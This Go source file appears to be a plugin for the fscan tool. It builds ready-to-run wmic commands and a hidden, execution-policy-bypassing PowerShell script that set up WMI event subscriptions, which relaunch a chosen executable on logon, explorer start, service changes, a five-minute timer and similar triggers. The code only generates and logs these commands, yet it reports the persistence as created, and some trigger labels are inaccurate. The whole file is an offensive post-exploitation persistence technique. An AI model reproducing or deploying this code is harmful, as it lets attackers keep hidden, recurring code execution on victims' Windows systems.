//go:build windows

package winwmi

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// WinWMIPlugin Windows WMI事件订阅持久化插件 - 使用简化架构
type WinWMIPlugin struct {
	*local.BaseLocalPlugin
	pePath string
}

// NewWinWMIPlugin 创建Windows WMI事件订阅持久化插件 - 简化版本
func NewWinWMIPlugin() *WinWMIPlugin {
	// 从全局参数获取PE文件路径
	peFile := common.WinPEFile
	if peFile == "" {
		peFile = "" // 需要用户指定
	}

	metadata := &base.PluginMetadata{
		Name:        "winwmi",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "Windows WMI事件订阅持久化插件，通过WMI事件触发器实现持久化",
		Category:    "local",
		Tags:        []string{"local", "persistence", "windows", "wmi"},
		Protocols:   []string{"local"},
	}

	plugin := &WinWMIPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
		pePath:          peFile,
	}

	// 只支持Windows平台
	plugin.SetPlatformSupport([]string{"windows"})
	// 需要管理员权限修改WMI订阅
	plugin.SetRequiresPrivileges(true)

	return plugin
}

// Initialize 初始化插件
func (p *WinWMIPlugin) Initialize() error {
	if p.pePath == "" {
		return fmt.Errorf("必须通过 -win-pe 参数指定PE文件路径")
	}
	
	// 检查目标文件是否存在
	if _, err := os.Stat(p.pePath); os.IsNotExist(err) {
		return fmt.Errorf("PE文件不存在: %s", p.pePath)
	}
	
	// 检查文件类型
	if !p.isValidPEFile(p.pePath) {
		return fmt.Errorf("目标文件必须是PE文件(.exe或.dll): %s", p.pePath)
	}
	
	return p.BaseLocalPlugin.Initialize()
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *WinWMIPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行Windows WMI事件订阅持久化 - 简化版本
func (p *WinWMIPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("开始Windows WMI事件订阅持久化...")
	
	wmiSubscriptions, err := p.createWMIEventSubscriptions(p.pePath)
	if err != nil {
		return &base.ScanResult{
			Success: false,
			Error:   err,
		}, nil
	}

	common.LogInfo(fmt.Sprintf("创建了%d个WMI事件订阅持久化项:", len(wmiSubscriptions)))
	for i, subscription := range wmiSubscriptions {
		common.LogInfo(fmt.Sprintf("%d. %s", i+1, subscription))
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "WinWMI",
		Banner:  fmt.Sprintf("Windows WMI事件订阅持久化已完成 - PE文件: %s 平台: %s", p.pePath, runtime.GOOS),
		Extra: map[string]interface{}{
			"pe_file":             p.pePath,
			"persistence_type":    "wmi_event",
			"subscriptions_created": len(wmiSubscriptions),
			"wmi_subscriptions":   wmiSubscriptions,
		},
	}
	
	return result, nil
}

func (p *WinWMIPlugin) createWMIEventSubscriptions(pePath string) ([]string, error) {
	absPath, err := filepath.Abs(pePath)
	if err != nil {
		return nil, fmt.Errorf("failed to get absolute path: %v", err)
	}

	var wmiSubscriptions []string
	baseName := filepath.Base(absPath)
	baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))]

	wmiEventConfigs := []struct {
		filterName    string
		consumerName  string
		bindingName   string
		query         string
		description   string
	}{
		{
			filterName:   fmt.Sprintf("SystemBootFilter_%s", baseNameNoExt),
			consumerName: fmt.Sprintf("SystemBootConsumer_%s", baseNameNoExt),
			bindingName:  fmt.Sprintf("SystemBootBinding_%s", baseNameNoExt),
			query:        "SELECT * FROM Win32_SystemConfigurationChangeEvent",
			description:  "System Boot Event Trigger",
		},
		{
			filterName:   fmt.Sprintf("ProcessStartFilter_%s", baseNameNoExt),
			consumerName: fmt.Sprintf("ProcessStartConsumer_%s", baseNameNoExt),
			bindingName:  fmt.Sprintf("ProcessStartBinding_%s", baseNameNoExt),
			query:        "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'",
			description:  "Explorer Process Start Trigger",
		},
		{
			filterName:   fmt.Sprintf("UserLogonFilter_%s", baseNameNoExt),
			consumerName: fmt.Sprintf("UserLogonConsumer_%s", baseNameNoExt),
			bindingName:  fmt.Sprintf("UserLogonBinding_%s", baseNameNoExt),
			query:        "SELECT * FROM Win32_LogonSessionEvent WHERE EventType=2",
			description:  "User Logon Event Trigger",
		},
		{
			filterName:   fmt.Sprintf("FileCreateFilter_%s", baseNameNoExt),
			consumerName: fmt.Sprintf("FileCreateConsumer_%s", baseNameNoExt),
			bindingName:  fmt.Sprintf("FileCreateBinding_%s", baseNameNoExt),
			query:        "SELECT * FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\Windows\\\\System32\\\\'",
			description:  "File Creation Monitor Trigger",
		},
		{
			filterName:   fmt.Sprintf("ServiceChangeFilter_%s", baseNameNoExt),
			consumerName: fmt.Sprintf("ServiceChangeConsumer_%s", baseNameNoExt),
			bindingName:  fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt),
			query:        "SELECT * FROM Win32_ServiceControlEvent",
			description:  "Service State Change Trigger",
		},
	}

	for _, config := range wmiEventConfigs {
		filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
			config.filterName, config.query)
		
		consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
			config.consumerName, absPath, absPath)
		
		bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
			config.filterName, config.consumerName)

		wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd))
		wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd))
		wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd))
	}

	timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt)
	timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt)
	// timerBindingName := fmt.Sprintf("TimerBinding_%s", baseNameNoExt) // 不需要，移除未使用的变量

	timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
	
	timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
		timerFilterName, timerQuery)
	
	timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
		timerConsumerName, absPath, absPath)
	
	timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
		timerFilterName, timerConsumerName)

	wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd))
	wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd))
	wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd))

	powershellWMIScript := fmt.Sprintf(`
$filterName = "PowerShellFilter_%s"
$consumerName = "PowerShellConsumer_%s"
$bindingName = "PowerShellBinding_%s"

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = $filterName
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
}

$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = $consumerName
    CommandLineTemplate = '"%s"'
    ExecutablePath = "%s"
}

$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $Filter
    Consumer = $Consumer
}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath)

	powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript)
	wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd))

	return wmiSubscriptions, nil
}

// isValidPEFile 检查是否为有效的PE文件
func (p *WinWMIPlugin) isValidPEFile(filePath string) bool {
	ext := strings.ToLower(filepath.Ext(filePath))
	return ext == ".exe" || ext == ".dll"
}

// RegisterWinWMIPlugin 注册Windows WMI事件订阅持久化插件
func RegisterWinWMIPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "winwmi",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "Windows WMI事件订阅持久化插件，通过WMI事件触发器实现持久化",
			Category:    "local",
			Tags:        []string{"winwmi", "local", "persistence", "windows"},
			Protocols:   []string{"local"},
		},
		func() base.Plugin {
			return NewWinWMIPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("winwmi", factory)
}

// init 插件注册函数
func init() {
	RegisterWinWMIPlugin()
}